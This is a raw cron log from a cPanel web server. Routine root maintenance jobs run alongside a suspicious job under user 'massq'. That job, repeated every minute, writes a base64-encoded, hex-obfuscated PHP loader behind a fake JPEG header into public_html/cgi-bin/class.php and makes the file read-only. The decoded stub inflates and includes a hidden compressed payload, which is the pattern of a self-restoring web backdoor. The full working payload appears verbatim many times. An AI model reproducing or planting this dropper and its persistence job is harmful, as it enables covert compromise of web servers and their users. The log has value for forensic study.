Sep  6 07:49:01 server CROND[6227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:50:01 server CROND[6619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:50:01 server CROND[6622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:50:01 server CROND[6629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:50:01 server CROND[6630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:50:01 server CROND[6631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:50:01 server CROND[6641]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:50:01 server CROND[6639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:50:01 server CROND[6642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:50:01 server CROND[6643]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:51:01 server CROND[7530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:51:01 server CROND[7532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:51:01 server CROND[7531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:52:01 server CROND[7999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:52:01 server CROND[8001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:52:01 server CROND[8000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:53:01 server CROND[8388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:53:01 server CROND[8389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:53:01 server CROND[8390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:54:01 server CROND[8919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:54:01 server CROND[8920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:54:01 server CROND[8921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:55:01 server CROND[9339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:55:01 server CROND[9340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:55:01 server CROND[9344]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:55:01 server CROND[9343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:55:01 server CROND[9342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:55:01 server CROND[9345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:55:01 server CROND[9346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:56:01 server CROND[10251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:56:01 server CROND[10252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:56:01 server CROND[10253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:57:01 server CROND[10640]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:57:01 server CROND[10641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:57:01 server CROND[10642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:57:01 server CROND[10643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:58:01 server CROND[11022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:58:01 server CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:58:01 server CROND[11023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:59:01 server CROND[11503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:59:01 server CROND[11504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:59:01 server CROND[11505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:00:01 server CROND[11895]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  6 08:00:01 server CROND[11899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:00:01 server CROND[11898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:00:01 server CROND[11902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:00:01 server CROND[11905]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 08:00:01 server CROND[11904]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 08:00:01 server CROND[11906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
